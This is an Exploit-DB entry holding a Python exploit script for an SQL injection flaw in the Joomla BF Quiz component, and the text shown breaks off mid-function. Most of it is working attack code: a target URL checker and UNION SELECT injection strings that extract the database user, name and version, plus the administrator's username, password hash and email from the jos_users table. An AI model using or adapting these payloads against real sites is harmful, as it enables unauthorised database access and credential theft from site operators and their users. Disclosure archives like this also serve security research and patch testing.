Exploit-DB #12796
Description: Joomla! Component BF Quiz 1.0 - SQL Injection (2)
Type: webapps
Platform: php
Date: 2010-05-29
Author: Valentin Hoebel

Exploit:
#!/usr/bin/python

# Joomla Component BF Quiz SQL Injection Exploit
# by Valentin Hoebel (valentin@xenuser.org)
# Version 1.0 (29th May 2010)
# ASCII FOR BREAKFAST

# About the vulnerability:
# ----------------------------------------------------------------------------
# Read more here:
# http://xenuser.org/documents/security/joomla_com_bfquiz_sqli.txt

# About the exploit:
# ----------------------------------------------------------------------------
# Tries to give you the admin password hash!

# Usage example:
# python joomla_com_bfquiz_sploit.py - u "http://target/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=34"

# This tool war written for educational purposes only. I am not responsible for any damage
# you might cause using this tool. Know and respect your local laws!
# Only use this tool on websites you are allowed to test :)

# Greetz && THX
# ----------------------------------------------------------------------------------
# Greetz: cr4wl3r and /JosS
# Greetz && THX to: inj3ct0r, Exploit DB team, hack0wn and packetstormsecurity.org

# Power to the cows!

import sys,  re,  urllib,  urllib2,  string
from urllib2 import Request, urlopen, URLError, HTTPError

# Prints usage
def print_usage():
    print ""
    print ""
    print "________________________________________________"
    print "Joomla Component BF Quiz SQL Injection Exploit"
    print "by Valentin Hoebel (valentin@xenuser.org)"
    print ""
    print "            (__)        " 
    print "            (oo)     Version 1.0 (29th May 2010)  "      
    print "     /-------\/         "       
    print "    / |     ||           "         
    print "   *  ||----||           "            
    print "      ~~    ~~       Power to teh cows!" 
    print "________________________________________________"
    print ""
    print "Exploits the SQL injection vulnerability I"
    print "discovered within the Joomla component BF Quiz."
    print ""
    print "Usage example:"
    print "python joomla_com_bfquiz_sploit.py - u \"http://target/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=34\""
    print ""
    print "Options:"
    print " -u <URL>   (start the exploit)"
    print " --help     (displays this text)"
    print ""
    print "Features:"
    print " - Check if provided URL is reachable"
    print " - Display current database, MySQL user and the MySQL version"
    print " - Display the password hash of the Joomla administrator"
    print ""
    print ""
    return

#Prints banner
def print_banner():
    print ""
    print ""
    print "________________________________________________"
    print "Joomla Component BF Quiz SQL Injection Exploit"
    print "by Valentin Hoebel (valentin@xenuser.org)"
    print ""
    print "            (__)        " 
    print "            (oo)     Version 1.0 (29th May 2010)  "      
    print "     /-------\/         "       
    print "    / |     ||           "         
    print "   *  ||----||           "            
    print "      ~~    ~~       Power to teh cows!" 
    print "________________________________________________"
    return

# Testing if URL is reachable, with error handling
def test_url():
    print "[.] Checking if connection can be established..."
    try:
        response = urllib2.urlopen(provided_url)
        
    except HTTPError,  e:
        print "[!] The connection could not be established."
        print "[!] Error code: ",  e.code
        print "[!]Exiting now!"
        print ""
        sys.exit(1)
    except URLError,  e:
        print "[!] The connection could not be established."
        print "[!] Reason: ",  e.reason
        print "[!] Exiting now!"
        print ""
        sys.exit(1)
    else:
        valid_target = 1
        print "[.] Connected to target! URL seems to be valid."
    return
    
def exploit_url():
    # Define injection string for reading out basic information
    information_injection_string = "+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat_ws(0x3b,0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321,user(),database(),version(),0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321),11,12,13,14,concat_ws(0x3b,0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321,user(),database(),version(),0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,concat_ws(0x3b,0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321,user(),database(),version(),0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321),79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,concat_ws(0x3b,0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321,user(),database(),version(),0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321),97,98,99,100--"
    admin_pass_hash_injection_string = "+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat_ws(0x3b,0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321,id,name,username,password,email,usertype,0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321),11,12,13,14,concat_ws(0x3b,0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321,id,name,username,password,email,usertype,0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,concat_ws(0x3b,0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321,id,name,username,password,email,usertype,0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321),79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,concat_ws(0x3b,0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321,id,name,username,password,email,usertype,0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]777321),97,98,99,100+from+jos_users+LIMIT+0,1--"
    
    # Craft the URLs which are about to be exploited
    exploit_url_information = provided_url+information_injection_string
    exploit_url_admin_pass_hash = provided_url+admin_pass_hash_injection_string
    
    # Read out some interesting